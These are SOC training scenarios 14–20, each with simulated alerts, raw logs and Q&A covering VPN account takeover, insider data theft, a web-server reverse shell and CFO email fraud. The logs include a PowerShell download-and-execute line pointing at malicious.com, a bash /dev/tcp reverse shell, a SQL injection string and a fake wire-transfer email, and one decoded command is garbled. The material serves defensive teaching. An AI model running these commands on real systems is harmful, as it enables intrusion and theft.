SCENARIO 14: COMPROMISED VPN CREDENTIALS – ATTACKERS MOVING LATERALLY

Background: A company's VPN service is showing suspicious login attempts from multiple geolocations within a short period. The SOC team suspects that an attacker has stolen employee credentials and is using them to pivot inside the network.

SIEM Alerts

1. SIEM Alert – Multiple VPN Logins from Different Countries

Severity: High
User: izzmier@company.com
Login Attempts: Malaysia (MY) → Russia (RU) → Germany (DE) in 10 minutes
VPN Source IPs:

- 203.115.12.45 (Kuala Lumpur, Malaysia)
- 176.78.34.90 (Moscow, Russia)
- 89.45.67.23 (Berlin, Germany)
  Reason: Impossible travel detected – user cannot log in from multiple countries in a short time.

2. SIEM Alert – Privilege Escalation on Windows Server

Severity: Critical
User: izzmier@company.com
Target: WIN-SERVER-DC01 (Domain Controller)
Action: Added to Domain Admins Group
Reason: Potential privilege escalation – attacker gaining higher access.

3. EDR Alert – PowerShell Execution with Suspicious Encoded Command

Severity: High
Host: HR-FILES-SERVER
User: izzmier@company.com
Command:

powershell -enc
"UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAcgBpAGQAIAAoACQAcwBjAHIAaQBwAHQAI"

Decoded Command:

Start-Process (rid ($scriptname))

Reason: Suspicious PowerShell execution – potential remote code execution.

4. Network IDS Alert – Lateral Movement via SMB (Pass-the-Hash)

Severity: Critical
Source: 10.0.2.15 (Compromised VPN user system)
Destination: 10.0.3.5 (HR Files Server)
Event: Pass-the-Hash Attack Detected
Reason: Possible attacker moving laterally using stolen credentials.

5. SIEM Correlation Rule – Potential Account Takeover

Severity: Critical
Triggered Events:

- Impossible travel VPN login from multiple locations.
- Privilege escalation on Windows Server.
- Suspicious PowerShell execution.
- Pass-the-Hash attack on SMB protocol.

Raw Logs

Log 1: VPN Authentication Log (Impossible Travel)

2025-03-06 09:10:12, User: izzmier@company.com, Source IP: 203.115.12.45, Location: Malaysia, Status: Success
2025-03-06 09:12:30, User: izzmier@company.com, Source IP: 176.78.34.90, Location: Russia, Status: Success
2025-03-06 09:14:45, User: izzmier@company.com, Source IP: 89.45.67.23, Location: Germany, Status: Success

Log 2: Windows Event Log (Privilege Escalation to Domain Admins)

2025-03-06 09:30:10, EventID: 4728, Action: User added to Domain Admins, User: izzmier@company.com, Target: WIN-SERVER-DC01, Status: Success

Log 3: PowerShell Execution Log (EDR Alert)

2025-03-06 09:35:25, Process: powershell.exe, User: izzmier@company.com, EncodedCommand: UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAcgBpAGQAIAAoACQAcwBjAHIAaQBwAHQAI

Log 4: Network IDS Alert (Pass-the-Hash Attack)

2025-03-06 09:40:12, Source IP: 10.0.2.15, Destination IP: 10.0.3.5, Protocol: SMB, Attack Type: Pass-the-Hash, Status: Detected

QUESTIONS

1. **What is an account takeover attack and why is it dangerous?**
2. **What are the key indicators that this incident is an account compromise?**
3. **Why is impossible travel a strong indicator of credential theft?**
4. **What does privilege escalation on a domain controller indicate?**
5. **Why is a PowerShell execution alert significant in a potential breach?**
6. **What is a Pass-the-Hash attack and how does it allow lateral movement?**
7. **What mitigation steps should be taken immediately?**
8. **How can organisations prevent VPN credential theft?**
9. **Why is Multi-Factor Authentication (MFA) important in preventing such attacks?**
10. **What are long-term security improvements that could prevent similar incidents?**

ANSWERS

1. **What is an Account Takeover Attack?**
    - An attacker gains access to a legitimate user's account to perform malicious activities, such as data theft, lateral movement and privilege escalation.
2. **Key Indicators of Account Compromise:**
    - Impossible travel login from different countries.
    - Privilege escalation on a domain controller.
    - Execution of encoded PowerShell commands.
    - Pass-the-Hash attack detected in the network.
3. **Why is Impossible Travel a Strong Indicator?**
    - A user cannot physically log in from Malaysia, Russia and Germany within minutes.
    - This suggests stolen credentials are being used from different locations.
4. **Privilege Escalation on a Domain Controller:**
    - If an attacker adds themselves to the Domain Admins group, they can control the entire company's IT infrastructure.
5. **Significance of PowerShell Execution Alert:**
    - Attackers often use PowerShell to execute malicious scripts, download payloads and move laterally in a network.
6. **What is a Pass-the-Hash Attack?**
    - **Attackers steal NTLM password hashes and use them to authenticate against systems without knowing the actual password.**
7. **Immediate Mitigation Steps:**
    - Disable the compromised VPN account immediately.
    - Remove the user from the Domain Admins group.
    - Block the attacker's IP addresses in the firewall.
    - Check for additional compromised accounts or lateral movement.

8. **Preventing VPN Credential Theft:**
    - Enforce strong passwords and rotate them frequently.
    - Use Multi-Factor Authentication (MFA).
    - Monitor for impossible travel logins in SIEM.
9. **Why is MFA Critical?**
    - **Even if an attacker steals a username and password, they cannot log in without a second authentication factor (e.g., OTP, biometric).**
10. **Long-Term Security Improvements:**

- Implement conditional access policies (e.g., only allow logins from trusted locations).
- Use behavioural analytics (UEBA) to detect unusual user activity.
- Enforce privileged access management (PAM) to control admin-level permissions.

SCENARIO 15: INSIDER THREAT – EMPLOYEE EXFILTRATING SENSITIVE DATA

Background: A security analyst at a financial institution notices unusual data transfers occurring outside business hours. An employee appears to be exfiltrating sensitive customer records to an external server.

SIEM Alerts

1. SIEM Alert – Large File Transfers to an External IP

Severity: High
User: izzmier@financecorp.com
Source IP: 10.1.2.34 (Employee Workstation)
Destination IP: 185.220.101.55 (Suspicious External Server – Known for Data Leaks)
Data Transferred: 4.8GB
Reason: Unusual data transfer outside business hours

2. DLP Alert – USB Device Inserted & Large Files Copied

Severity: Critical
User: izzmier@financecorp.com
Device: USB Kingston 128GB
Files Copied:

- customer_data_2025.xlsx (2.3GB)
- financial_reports_Q1.pdf (1.2GB)
  Reason: Sensitive files transferred to removable storage.

3. Proxy Logs – File Upload to Cloud Storage (Google Drive)

Severity: High
User: izzmier@financecorp.com
Destination URL: drive.google.com/upload
File Size: 1.5GB
Reason: Possible data exfiltration to a personal cloud account.

4. SIEM Correlation Rule – Insider Threat Detected

Severity: Critical
Triggered Events:

- Unusual data transfer to external IP.
- Sensitive files copied to USB storage.

- File uploads to personal cloud storage.

Raw Logs

Log 1: Firewall Logs – Large Data Transfer to External IP

2025-03-06 22:15:42, SrcIP: 10.1.2.34, DstIP: 185.220.101.55, Protocol: TCP, Bytes Sent: 4.8GB, Action: Allowed

Log 2: USB Device Insertion Log (DLP Alert)

2025-03-06 21:58:10, User: izzmier@financecorp.com, Device: USB Kingston 128GB, Action: Inserted
2025-03-06 22:02:25, User: izzmier@financecorp.com, Files Transferred: customer_data_2025.xlsx (2.3GB), financial_reports_Q1.pdf (1.2GB)

Log 3: Proxy Logs – Cloud Upload Attempt

2025-03-06 22:30:14, User: izzmier@financecorp.com, URL: drive.google.com/upload, File Size: 1.5GB, Action: Allowed

QUESTIONS

1. **What is an insider threat and why is it dangerous?**
2. **What are the key indicators of data exfiltration?**
3. **Why is a large data transfer outside business hours suspicious?**
4. **What role does Data Loss Prevention (DLP) play in detecting this threat?**
5. **How can an attacker use cloud storage for exfiltration?**
6. **What is the significance of the external IP 185.220.101.55?**
7. **What mitigation steps should be taken immediately?**
8. **How can organisations prevent USB-based data exfiltration?**
9. **Why should employees only use company-approved cloud storage services?**
10. **What long-term security measures can help prevent insider threats?**

ANSWERS

1. **What is an Insider Threat?**
    - An insider threat occurs when a trusted employee misuses access to steal or leak sensitive company data.
2. **Key Indicators of Data Exfiltration:**
    - Large outbound data transfers to unknown IPs.
    - Unusual file copying to USB devices.
    - File uploads to non-approved cloud storage.
3. **Why is Large Data Transfer Outside Business Hours Suspicious?**

    - Employees normally work during office hours. A huge transfer at 10 PM suggests unauthorised activity.
4. **Role of Data Loss Prevention (DLP):**
    - DLP tools detect and block sensitive data being copied to USBs, emails, or cloud services.
5. **Cloud Storage Exfiltration:**
    - Attackers can upload stolen files to personal cloud accounts, bypassing network restrictions.
6. **Significance of External IP 185.220.101.55:**
    - This IP is linked to Tor exit nodes, commonly used by cybercriminals to hide their identity.
7. **Immediate Mitigation Steps:**
    - Block the user's access immediately.
    - Investigate all systems the user accessed.
    - Monitor for additional insider threats.
8. **Preventing USB-Based Data Exfiltration:**
    - Disable USB ports on all non-approved company devices.
    - Use DLP to block unauthorised file transfers.
9. **Why Use Only Approved Cloud Storage?**
    - Company-approved cloud storage ensures all file activity is monitored and logged.
10. **Long-Term Security Measures for Insider Threats:**

- User Behaviour Analytics (UBA) to detect abnormal employee actions.
- Implement strict data access controls and audits.

SCENARIO 16: COMPROMISED VPN CREDENTIALS – LATERAL MOVEMENT & PRIVILEGE ESCALATION

Background: An attacker has gained access to an employee's VPN credentials through a phishing attack. The attacker is now moving laterally within the internal network, escalating privileges to gain access to sensitive data.

SIEM Alerts

1. SIEM Alert – Unusual VPN Login from a Foreign Country

Severity: High
User: izzmier@company.com
Source IP: 45.67.89.23 (Russia)
Destination: vpn.company.com
Action: Login Successful
Reason: User never logged in from this country before.

2. SIEM Alert – Multiple Failed RDP Logins from VPN User

Severity: Medium
User: izzmier@company.com
Source IP: 10.10.5.23 (VPN Assigned IP)
Destination: 10.10.3.45 (File Server)
Failed Logins: 15 attempts within 5 minutes
Reason: Possible brute-force attempt on RDP.

3. Endpoint Detection & Response (EDR) Alert – PowerShell Command Execution

Severity: High
Host: 10.10.3.45 (File Server)
User: izzmier@company.com
Command:

powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/malware.ps1')"

Reason: Possible malware download attempt.

4. SIEM Alert – Privilege Escalation Detected (User Added to Admin Group)

Severity: Critical
User: izzmier@company.com
Action: Added to Domain Admins Group

Source System: 10.10.3.45 (File Server)
Reason: User should not have admin access.

5. SIEM Correlation Rule – Multiple Indicators of Compromise (IoC)

Severity: Critical
Triggered Events:

- Unusual VPN login from a foreign country.
- Failed RDP brute-force attempts.
- Suspicious PowerShell execution.
- Privilege escalation detected.

Raw Logs

Log 1: VPN Authentication Log (Foreign Login)

2025-03-07 03:12:33, User: izzmier@company.com, SrcIP: 45.67.89.23, DstIP: vpn.company.com, AuthStatus: Success

Log 2: Failed RDP Login Attempts

2025-03-07 03:22:10, User: izzmier@company.com, SrcIP: 10.10.5.23, DstIP: 10.10.3.45, Protocol: RDP, AuthStatus: Failed
2025-03-07 03:22:15, User: izzmier@company.com, SrcIP: 10.10.5.23, DstIP: 10.10.3.45, Protocol: RDP, AuthStatus: Failed
2025-03-07 03:22:20, User: izzmier@company.com, SrcIP: 10.10.5.23, DstIP: 10.10.3.45, Protocol: RDP, AuthStatus: Failed

Log 3: PowerShell Command Execution Log

2025-03-07 03:30:55, User: izzmier@company.com, Host: 10.10.3.45, Process: powershell.exe, Command: IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/malware.ps1')

Log 4: Privilege Escalation – User Added to Domain Admins

2025-03-07 03:40:12, User: izzmier@company.com, Action: Added to Group "Domain Admins", System: 10.10.3.45

QUESTIONS

1. **What is lateral movement and why is it dangerous?**
2. **What are the signs of a compromised VPN account?**

3. **Why are multiple failed RDP logins suspicious?**
4. **What does the PowerShell command indicate?**
5. **Why is privilege escalation critical in cyberattacks?**
6. **What immediate steps should be taken to contain this attack?**
7. **How can MFA help prevent VPN credential compromise?**
8. **What security measures can detect lateral movement early?**
9. **How can PowerShell abuse be mitigated?**
10. **Why is monitoring admin account modifications important?**

ANSWERS

1. **What is Lateral Movement?**
    - Lateral movement occurs when an attacker gains access to one system and moves to other systems inside the network.
2. **Signs of a Compromised VPN Account:**
    - Login from an unusual country or time.
    - High-risk IP addresses used for login.
3. **Why Are Multiple Failed RDP Logins Suspicious?**
    - It indicates a brute-force attempt to access remote systems using stolen credentials.
4. **What Does the PowerShell Command Indicate?**
    - The attacker is downloading and executing a malicious script from an external source.
5. **Why is Privilege Escalation Critical?**
    - Once attackers gain admin rights, they can disable security controls and steal sensitive data.
6. **Immediate Steps to Contain the Attack:**
    - Disable the compromised user account.
    - Revoke VPN access and force password reset.
    - Quarantine the infected host.
7. **How Can MFA Prevent VPN Credential Compromise?**
    - **Even if an attacker steals a password, they cannot log in without the second factor (e.g., OTP, biometric).**
8. **Security Measures to Detect Lateral Movement Early:**
    - Use behavioural analytics to detect abnormal access.
    - Monitor for multiple failed authentication attempts.
9. **How Can PowerShell Abuse Be Mitigated?**
    - Restrict PowerShell execution policies.
    - Use logging to detect suspicious commands.
10. **Why Monitor Admin Account Modifications?**

- Attackers who escalate privileges can take full control of the network.
- Real-time alerts for admin changes help detect security breaches early.

SCENARIO 17: WEB SERVER COMPROMISE – REVERSE SHELL & DATA EXFILTRATION

Background: An attacker has successfully exploited a vulnerable web application running on the company's public-facing web server. After gaining initial access, the attacker establishes a reverse shell, performs privilege escalation and exfiltrates sensitive files to an external server.

SIEM Alerts

1. SIEM Alert – Web Exploit Detected (SQL Injection/Remote Code Execution)

Severity: High
Source IP: 203.113.45.67 (Unknown)
Destination: 10.10.2.15 (Web Server)
Action: Suspicious SQL Query Execution
Query:

```
SELECT username, password FROM users WHERE id='1' OR '1'='1';
```

Reason: Potential SQL Injection detected.

2. SIEM Alert – Reverse Shell Connection Established

Severity: Critical
Web Server IP: 10.10.2.15
External IP: 103.45.78.90
Process: /usr/bin/bash
Command:

```
i >& /dev/tcp/103.45.78.90/4444 0>&1
```

Reason: Reverse shell attempt to an external IP.

3. SIEM Alert – Privilege Escalation on Web Server

Severity: Critical
User: www-data (Web Server User) → **root (Privilege Escalation)**
Command Executed:

```
sudo su root
```

Reason: Web process account gained root access.

4. Network Monitoring Alert – Large Data Transfer to External IP

Severity: High
Source: 10.10.2.15 (Web Server)
Destination: 103.45.78.90 (External Server)
File Transfer Size: 500MB
Protocol: HTTP/HTTPS
Reason: Unusual outbound data transfer detected.

5. SIEM Correlation Rule – Multiple Indicators of Compromise (IoC)

Severity: Critical
Triggered Events:

- Web exploit attempt.
- Reverse shell connection established.
- Privilege escalation detected.
- Large outbound data transfer.

Raw Logs

Log 1: Web Server Access Log (SQL Injection Attempt)

2025-03-07 02:55:12, SourceIP: 203.113.45.67, Target: 10.10.2.15, URL: /login.php, Method: POST, Query: '1' OR '1'='1'

Log 2: Reverse Shell Activity Detected

2025-03-07 03:00:45, User: www-data, Process: /usr/bin/bash, Command: bash -i >& /dev/tcp/103.45.78.90/4444 0>&1

Log 3: Privilege Escalation to Root

2025-03-07 03:05:30, User: www-data, Action: sudo su root, Result: Success

Log 4: Large File Transfer Outbound (Exfiltration)

2025-03-07 03:12:58, SrcIP: 10.10.2.15, DstIP: 103.45.78.90, Protocol: HTTPS, DataSize: 500MB

QUESTIONS

1. **What is SQL Injection and how does it work?**
2. **What is a reverse shell and why is it dangerous?**

3. **What are the signs of privilege escalation on a Linux server?**
4. **How can you detect and block outbound reverse shell connections?**
5. **What are common data exfiltration techniques used by attackers?**
6. **What immediate response actions should be taken to contain this attack?**
7. **How can web applications be secured against SQL Injection?**
8. **What tools can be used to detect unusual outbound data transfers?**
9. **How can privilege escalation be prevented on web servers?**
10. **Why is network segmentation important in preventing lateral movement?**

Answers

1. **What is SQL Injection and how does it work?**
    - SQL Injection occurs when an attacker **injects malicious SQL queries** into an application to manipulate or extract data from a database.
2. **What is a reverse shell and why is it dangerous?**
    - **A reverse shell gives an attacker control over a system by establishing a connection back to their machine.**
3. **Signs of Privilege Escalation on a Linux Server:**
    - A low-privilege user suddenly running root commands.
    - Use of 'sudo su' or privilege escalation exploits.
4. **How to Detect and Block Outbound Reverse Shell Connections:**
    - Monitor unusual outbound connections (e.g., netcat, bash, PowerShell).
    - Block known attacker-controlled IPs.
5. **Common Data Exfiltration Techniques:**
    - Uploading files over HTTP/HTTPS.
    - Using DNS tunneling to send data out.
6. **Immediate Response Actions to Contain the Attack:**
    - Isolate the compromised web server.
    - Block outbound traffic to attacker IPs.
7. **How to Secure Web Applications Against SQL Injection:**
    - Use parameterised queries or prepared statements.
    - Implement Web Application Firewalls (WAF).
8. **Tools to Detect Unusual Outbound Data Transfers:**
    - IDS/IPS systems (Snort, Suricata).
    - Network monitoring solutions (Seek, Wireshark).
9. **How to Prevent Privilege Escalation on Web Servers:**
    - Restrict 'sudo' permissions.
    - Run web services under limited-privilege accounts.
10. **Why is Network Segmentation Important?**

- Prevents attackers from moving laterally to critical systems.
- Limits the impact of a compromised server.

SCENARIO 18: INSIDER THREAT – MALICIOUS EMPLOYEE STEALING SENSITIVE DATA

Background: A disgruntled employee working in the finance department is planning to resign and has been downloading sensitive company financial reports.
They attempt to exfiltrate this data by sending it via personal email and uploading it to cloud storage (Google Drive, Dropbox, etc.).

SIEM Alerts

1. SIEM Alert – Large File Download from Internal File Server

Severity: Medium
Source User: izzmier@company.com
Workstation: FINANCE-PC01
File Downloaded: 2024_Q1_Financials.xlsx
File Size: 120MB
Location: \\192.168.1.10\Finance\SensitiveReports\
Reason: Unusual volume of file downloads detected from Finance department.

2. SIEM Alert – Unusual Data Transfer to Personal Email

Severity: High
Source User: izzmier@company.com
Email Recipient: personal.email@gmail.com
Attachment: 2024_Q1_Financials.xlsx (120MB)
Subject: No Subject
Reason: Unusual attachment size sent via external email.

3. SIEM Alert – Unauthorised Cloud Storage Upload Attempt

Severity: High
Source User: izzmier@company.com
Application: Google Drive
File Uploaded: 2024_Q1_Financials.xlsx
Data Size: 120MB
Reason: Company policy blocks uploads to cloud storage services, but this action was attempted.

4. Endpoint Security Alert – USB Drive Inserted & Files Copied

Severity: Critical
Workstation: FINANCE-PC01
USB Device: Kingston DataTraveler 32GB

File Copied: 2024_Q1_Financials.xlsx
Reason: Unauthorised USB device detected, copying restricted files.

5. SIEM Correlation Rule – Multiple Indicators of Data Exfiltration

Severity: Critical
Triggered Events:

- Unusual file download from internal server.
- Large file sent via personal email.
- Attempted upload to Google Drive.
- Files copied to a USB drive.

Raw Logs

Log 1: File Server Access Log (Large File Download)

2025-03-07 09:12:05, User: izzmier, Workstation: FINANCE-PC01, Action: Download, File: 2024_Q1_Financials.xlsx, Size: 120MB, Server: 192.168.1.10

Log 2: Email Log (Sensitive File Sent via Personal Email)

2025-03-07 09:15:32, User: izzmier, Recipient: personal.email@gmail.com, Subject: No Subject, Attachment: 2024_Q1_Financials.xlsx, Size: 120MB

Log 3: Web Proxy Log (Attempted Cloud Upload to Google Drive)

2025-03-07 09:17:45, User: izzmier, URL: drive.google.com/upload, Action: Blocked, File: 2024_Q1_Financials.xlsx, Size: 120MB

Log 4: Endpoint Security Log (USB File Transfer)

2025-03-07 09:20:58, User: izzmier, Workstation: FINANCE-PC01, USB Device: Kingston DataTraveler, Action: File Copy, File: 2024_Q1_Financials.xlsx, Status: Success

QUESTIONS

1. **What are the common indicators of an insider threat?**
2. **Why is sending a large email attachment to a personal email suspicious?**
3. **How can we detect and prevent cloud storage uploads in an enterprise environment?**
4. **What security policies should be in place to control USB device usage?**
5. **What immediate actions should be taken when detecting insider data theft?**
6. **How can user behavior analytics (UBA) help in detecting malicious activity?**

7. **What types of logs are most useful for identifying insider threats?**
8. **How should a security team respond to an employee attempting to steal data?**
9. **What security tools can help prevent data exfiltration?**
10. **What legal and HR considerations must be taken when handling an insider threat case?**

ANSWERS

1. **What are the common indicators of an insider threat?**
    - Unusual file access/downloads.
    - Attempted data exfiltration (email, cloud, USB).
    - Sudden change in behavior (resignation, complaints).
2. **Why is sending a large email attachment to a personal email suspicious?**
    - Companies restrict external sharing of sensitive files.
    - It bypasses corporate security controls.
3. **How can we detect and prevent cloud storage uploads?**
    - Use a Web Proxy or Cloud Access Security Broker (CASB).
    - Block unauthorised applications.
4. **What security policies should be in place for USB devices?**
    - Restrict USB usage via endpoint security.
    - Allow only company-approved devices.
5. **What immediate actions should be taken when detecting insider data theft?**
    - Investigate access logs and alerts.
    - Block the employee's access.
    - Report to HR and management.
6. **How can user behavior analytics (UBA) help detect malicious activity?**
    - Detects abnormal access patterns.
    - Identifies risky behavior before a breach.
7. **What types of logs are most useful for identifying insider threats?**
    - File access logs.
    - Email and web proxy logs.
    - USB device activity logs.
8. **How should a security team respond to an employee attempting to steal data?**
    - Contain the threat by revoking access.
    - Conduct a forensic investigation.
    - Escalate to HR/legal if necessary.
9. **What security tools can help prevent data exfiltration?**
    - Data Loss Prevention (DLP) solutions.
    - Cloud Access Security Broker (CASB).
    - Endpoint security (USB restrictions).
10. **What legal and HR considerations must be taken when handling an insider threat case?**

    - Follow company policies and legal procedures.

- Gather evidence before taking disciplinary action.
- Ensure privacy laws and compliance requirements are met.

SCENARIO 19: BUSINESS EMAIL COMPROMISE (BEC) – CFO FRAUD ATTEMPT

Background: A threat actor has compromised the email account of a company's CFO (cfomanager@company.com). The attacker uses the CFO's email to send a fraudulent payment request to the finance team, instructing them to transfer money to an offshore bank account. The attacker also sets up email forwarding rules to intercept incoming emails and delete replies from employees questioning the transaction.

SIEM Alerts

1. SIEM Alert – Suspicious Login from Foreign IP Address

Severity: High
Source User: cfomanager@company.com
Source IP: 185.216.35.112 (Russia)
Login Time: 2025-03-07 08:30:12 UTC
Reason: Login from an unusual foreign IP, never seen before.

2. SIEM Alert – Email Forwarding Rule Created

Severity: High
Source User: cfomanager@company.com
Rule Created: Forward all incoming emails to attacker.email@protonmail.com
Reason: New email forwarding rule detected. Could indicate compromise.

3. SIEM Alert – Fraudulent Wire Transfer Request

Severity: Critical
Source User: cfomanager@company.com
Recipient: finance@company.com
Subject: URGENT: Wire Transfer Payment Required Today
Message:

Hello,
Please process an urgent wire transfer of RM 250,000 to the following account:

Bank: Offshore Bank
Account No: 987654321
Swift Code: OFFSH12345

This must be done by today. Kindly confirm once completed.

Regards,

CFO Manager

Reason: This is an unusual financial transaction request.

4. Endpoint Security Alert – Unusual Access to CFO's Email from New Device

Severity: High
Source User: cfomanager@company.com
Device: Windows 10 (Unknown Device)
IP Address: 185.216.35.112
Location: Russia
Reason: CFO's email accessed from a device that has never logged in before.

5. SIEM Correlation Rule – Multiple Indicators of Business Email Compromise (BEC)

Severity: Critical
Triggered Events:

- Unusual foreign login to CFO's email.
- Email forwarding rule set to external attacker's email.
- Unusual financial request sent to finance team.
- Access to email from a never-seen-before device.

Raw Logs

Log 1: Email Authentication Log (Unusual Login)

2025-03-07 08:30:12, User: cfomanager@company.com, Source IP: 185.216.35.112, Country: Russia, Authentication Status: Success

Log 2: Email Security Log (Email Forwarding Rule Created)

2025-03-07 08:35:44, User: cfomanager@company.com, Rule: Forward all emails to attacker.email@protonmail.com, Status: Success

Log 3: Email Sent Log (Fraudulent Payment Request)

2025-03-07 08:40:17, User: cfomanager@company.com, To: finance@company.com, Subject: URGENT: Wire Transfer Payment Required Today, Status: Sent

Log 4: Device Access Log (New Device Used for Email Login)

2025-03-07 08:30:12, User: cfomanager@company.com, Device: Windows 10, IP: 185.216.35.112, Status: Successful Login

QUESTIONS

1. **What are the common indicators of a Business Email Compromise (BEC) attack?**
2. **Why is logging in from an unknown country a red flag?**
3. **How can attackers abuse email forwarding rules?**
4. **What security controls can detect and prevent unauthorised logins?**
5. **What steps should a SOC analyst take after detecting a compromised email account?**
6. **Why is a finance-related email request a high-risk event?**
7. **What tools can detect fraudulent financial transactions?**
8. **How can security teams prevent email spoofing and phishing attacks?**
9. **What policies should be in place to verify high-value financial transactions?**
10. **What should the security team do if the attacker successfully stole money?**

ANSWERS

1. **What are the common indicators of a Business Email Compromise (BEC) attack?**
    - Login from an unusual IP or country.
    - New email forwarding rules created.
    - Unusual financial transaction requests.
    - Emails being deleted before recipients see them.
2. **Why is logging in from an unknown country a red flag?**
    - The CFO usually logs in from Malaysia.
    - An IP from Russia suggests potential compromise.
3. **How can attackers abuse email forwarding rules?**
    - Forward all incoming emails to attacker's inbox.
    - Intercept and delete replies from employees questioning the fraud.
4. **What security controls can detect and prevent unauthorised logins?**
    - Multi-Factor Authentication (MFA).
    - Geolocation-based login restrictions.
5. **What steps should a SOC analyst take after detecting a compromised email account?**
    - Reset the user's password immediately.
    - Revoke all active sessions.
    - Disable email forwarding rules.
    - Investigate further for other affected accounts.
6. **Why is a finance-related email request a high-risk event?**
    - Attackers target finance teams for large wire transfers.
    - Fake emails impersonating executives are common.
7. **What tools can detect fraudulent financial transactions?**
    - Fraud detection systems in banking platforms.
    - Machine learning models identifying unusual transfers.
8. **How can security teams prevent email spoofing and phishing attacks?**
    - Implement DMARC, DKIM, SPF email security policies.

    - Train employees on phishing awareness.
9. **What policies should be in place to verify high-value financial transactions?**
    - Mandatory verbal confirmation for wire transfers.
    - Dual-authorisation requirements for large payments.
10. **What should the security team do if the attacker successfully stole money?**

- Immediately contact the bank to reverse the transaction.
- Report the incident to law enforcement.
- Conduct a full forensic investigation to prevent future attacks.

SCENARIO 20: INSIDER THREAT – DATA EXFILTRATION VIA CLOUD STORAGE

Background: A disgruntled employee from the IT department (izzmier@company.com) is preparing to resign. Before leaving, he downloads large volumes of sensitive company data and uploads it to his personal cloud storage (Dropbox/Google Drive). Izzmier uses legitimate access to evade security measures, making detection difficult. However, the unusual data transfer patterns and high bandwidth usage trigger multiple security alerts.

SIEM Alerts

1. SIEM Alert – Large Data Transfer Detected

Severity: High
Source User: izzmier@company.com
Device: Company-Laptop-124
Destination: api.dropbox.com
Transferred Data: 15GB
Reason: Unusual high-volume data upload detected.

2. SIEM Alert – Unauthorised Access to Sensitive Files

Severity: High
Source User: izzmier@company.com
File Accessed: /finance/Q1-2025-strategy.xlsx
File Accessed: /clients/top100-vip-customers.xlsx
File Accessed: /engineering/confidential-designs.pdf
Reason: Accessing files outside Izzmier's usual role.

3. SIEM Alert – Use of Unauthorised Cloud Storage Service

Severity: High
Source User: izzmier@company.com
Application: Dropbox
Policy Violation: Uploading corporate files to a personal account.

4. Network Alert – Abnormal Data Transfer Rate

Severity: High
Source IP: 192.168.1.45 (Izzmier's Laptop)
Destination: dropbox.com
Bandwidth Usage: 150 Mbps
Reason: Unusual outbound traffic volume. Possible data exfiltration.

5. SIEM Correlation Alert – Multiple Indicators of Data Theft

Severity: Critical
Triggered Events:

- Large file transfers to Dropbox.
- Access to files outside normal work responsibilities.
- High bandwidth usage from a single endpoint.

Raw Logs

Log 1: File Access Log (Sensitive Documents Opened)

2025-03-07 09:15:22, User: izzmier@company.com, File: /finance/Q1-2025-strategy.xlsx, Action: Opened
2025-03-07 09:16:30, User: izzmier@company.com, File: /clients/top100-vip-customers.xlsx, Action: Copied
2025-03-07 09:18:45, User: izzmier@company.com, File: /engineering/confidential-designs.pdf, Action: Downloaded

Log 2: Network Traffic Log (Unusual Data Upload to Dropbox)

2025-03-07 09:20:10, Source IP: 192.168.1.45, Destination: api.dropbox.com, Data Transferred: 15GB, Status: Completed

Log 3: Application Log (Dropbox File Uploads)

2025-03-07 09:22:15, User: izzmier@company.com, Service: Dropbox, File: Q1-2025-strategy.xlsx, Status: Uploaded
2025-03-07 09:23:40, User: izzmier@company.com, Service: Dropbox, File: top100-vip-customers.xlsx, Status: Uploaded
2025-03-07 09:25:05, User: izzmier@company.com, Service: Dropbox, File: confidential-designs.pdf, Status: Uploaded

Log 4: Network Proxy Log (Accessing Unauthorised Cloud Services)

2025-03-07 09:27:33, User: izzmier@company.com, URL: dropbox.com, Action: Upload, Status: Blocked

QUESTIONS

1. **What are the common signs of insider data theft?**
2. **Why is a sudden increase in data transfer suspicious?**
3. **How can SOC teams differentiate between legitimate work and data exfiltration?**

4. **What security controls can prevent unauthorised file uploads?**
5. **Why is accessing sensitive files outside of an employee's role a red flag?**
6. **What network-based solutions help detect large outbound data transfers?**
7. **How can companies prevent ex-employees from stealing data before leaving?**
8. **What are the legal implications of data exfiltration by an insider?**
9. **How should the security team respond to detected data theft?**
10. **What role does User and Entity Behavior Analytics (UEBA) play in detecting insider threats?**

ANSWERS

1. **What are the common signs of insider data theft?**
    - Unusual access to sensitive files.
    - Large outbound data transfers.
    - Usage of unauthorised cloud storage.
    - Accessing documents not related to the employee's role.
2. **Why is a sudden increase in data transfer suspicious?**
    - Most employees don't upload large files regularly.
    - A sudden 15GB upload suggests possible data exfiltration.
3. **How can SOC teams differentiate between legitimate work and data exfiltration?**
    - Compare current behavior to past activities.
    - Check if the user accessed unusual files.
    - Verify if uploads were made to a personal account.
4. **What security controls can prevent unauthorised file uploads?**
    - Data Loss Prevention (DLP) tools.
    - Blocking personal cloud storage sites via firewall policies.
5. **Why is accessing sensitive files outside of an employee's role a red flag?**
    - Izzmier works in IT, but he accessed finance and engineering documents.
    - This suggests intentional data theft.
6. **What network-based solutions help detect large outbound data transfers?**
    - Network Intrusion Detection Systems (NIDS).
    - Firewall rules monitoring high bandwidth usage.
7. **How can companies prevent ex-employees from stealing data before leaving?**
    - Restrict access based on job role.
    - Monitor employees flagged for resignation.
    - Implement strict offboarding policies.
8. **What are the legal implications of data exfiltration by an insider?**
    - Violates corporate security policies.
    - Could lead to lawsuits and regulatory fines.
    - Ex-employee could face legal action for intellectual property theft.
9. **How should the security team respond to detected data theft?**
    - Immediately revoke the employee's access.
    - Block the cloud storage service.

    - Report the incident to HR and legal teams.

10. **What role does User and Entity Behavior Analytics (UEBA) play in detecting insider threats?**

- Analyses employee behavior over time.
- Identifies deviations from normal work patterns.
- Provides early warnings of suspicious activity.